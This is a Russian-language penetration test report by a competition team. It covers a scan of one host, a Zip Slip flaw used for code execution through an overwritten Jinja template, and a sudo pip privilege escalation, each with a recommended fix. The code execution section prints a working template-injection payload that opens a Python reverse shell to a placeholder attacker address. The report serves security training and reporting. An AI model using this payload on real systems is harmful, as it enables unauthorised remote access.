---
# System prepended metadata

title: Innopolis Open (Информационная безопасность) - 2 тур. Offensive Security Report

---

# Innopolis Open (Информационная безопасность) - 2 тур. Offensive Security Report
Команда: BinaryCats


Состав команды:
- Ахметзянова Ильвина (ilvinchik05@gmail.com)
- Лукьянов Артур (artur.lukyanov@gmail.com)
- Ефремов Александр (alexanderonko@gmail.com)
- Ахметзянов Амир (amirakhmetzyanov1@gmail.com)
- Егор Ерастов (qtstm32fan@qtstm32fan.xyz)


## Summary
Командой BinaryCats было выполнено предоставленное техническое задание - тестирование на проникновение.
Задачей данного тестирования являлось выявление слабых мест (уязвимостей), оценка потенциальных рисков для бизнеса и разработка рекомендаций по защите компании.

В результате анализа было обнаружено 2 уязвимости (2 критических), получен полный доступ к одному из данных устройств. Ниже приведены рекомендации по защите и описание найденных уязвимостей.

## Рекомендации по уменьшению рисков
Защита устройств и сети:
- Рекомендуется настроить IDS/IPS для своевременного реагирования на инциденты
- Рекомендуется настроить fail2ban для SSH, а также настроить аутентификацию только по ключу

Управление рисками:
- Рекомендуется проводить регулярные аудиты безопасности

Защита приложений:
- Рекомендуется настроить WAF
- Рекомендуется исправить перечисленные ниже (раздел "Проникновение") недостатки ПО


## Методологии и стандарты

Для выполнения задачи по тестированию на проникновение наша команда использовала следующие методологии и стандарты:

[**PTES**](http://www.pentest-standard.org/index.php/Main_Page)

![](https://i.imgur.com/fl5C7Fk.png)
PTES определяет следующие этапы тестирования на проникновение:
- Pre-engagement Interactions
- Intelligence Gathering
- Threat Modeling
- Vulnerability Analysis
- Exploitation
- Post Exploitation
- Reporting


[**OWASP TOP10 WEB (2021)**](https://owasp.org/www-project-top-ten/)
![](https://i.imgur.com/Gx25677.png)
Owasp Top10 - это список наиболее распространённых web уязвимостей и стандарт для анализа веб-приложений на предмет их наличия. В версии стандарта 2021 года представлены следующие пункты:

- A01:2021-Broken Access Control 
- A02:2021-Cryptographic Failures
- A03:2021-Injection
- A04:2021-Insecure Design
- A05:2021-Security Misconfiguration
- A06:2021-Vulnerable and Outdated Components
- A07:2021-Identification and Authentication Failures
- A08:2021-Software and Data Integrity Failures
- A09:2021-Security Logging and Monitoring Failures
- A10:2021-Server-Side Request Forgery

[**CVSS (v3.1)**](https://www.first.org/cvss/)
CVSS - это гибкая и открытая система приоритезации уязвимостей.
Для подсчёта CVSS Score использовался следующий сайт: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

## 178.154.232.94
### Сбор информации
Перед началом тестирования на проникновение требуется определить объём тестов и условия проведения анализа. В ходе сбора информации о целевых устройствах были определены следующие IP-адреса:

178.154.232.94


### Перечисление сервисов
Результат сканирования портов:

Порт|Сервис|Версия
-|-|-
22|ssh|OpenSSH 8.2p1
8080|gunicorn|


На 8080 порту находится веб-приложение:
![](https://i.imgur.com/TdDrAGv.png)

Это приложение позволяет пользователю загружать .zip архивы.
Кроме того, этот сервис предоставляет пути /list (ошибка) и /console (werkzeug debug console). Из текста ошибки делаем вывод, что приложение написано на python3.8, с использованием flask:
![](https://i.imgur.com/ltAiVC6.png)




### Проникновение

**ZIP Slip to RCE**
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
[CVSS](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1)
![](https://i.imgur.com/3Q54bPL.png)


Zip Slip — это широко распространенная критическая уязвимость, связанная с перезаписью произвольного файла, которая обычно приводит к удаленному выполнению команды.

Для исполнения произвольного кода на уязвимой машине был перезаписан шаблон Jinja /app/templates/index.html.

POC (reverse shell):
```jinja
{{ 
''.__class__.__mro__[1].__subclasses__()[279]('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP address here>",<port here>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'', shell=True, stdout=-1).communicate() 
}}
```

Рекомендуемая мера противодействия: использовать новые версии библиотек. Уязвимость Zip Slip была исправлена в пакетах Python в 2014 году.

[Подробнее о Zip Slip](https://snyk.io/research/zip-slip-vulnerability)

### Повышение привилегий
**Excessive privileges - Sudo**
CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
[CVSS](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1)
![](https://i.imgur.com/J1sJqpU.png)



Пользователю предоставлена возможность использовать `pip install` с наивысшими привилегиями. `pip install` может быть использован для выполнения произвольного кода.

[Reference](https://gtfobins.github.io/gtfobins/pip/#sudo)

![](https://i.imgur.com/4Vt01Cf.png)


Рекомендуемая мера противодействия: ограничить права пользователя

[Подробнее о Sudo](https://man7.org/linux/man-pages/man8/sudo.8.html)


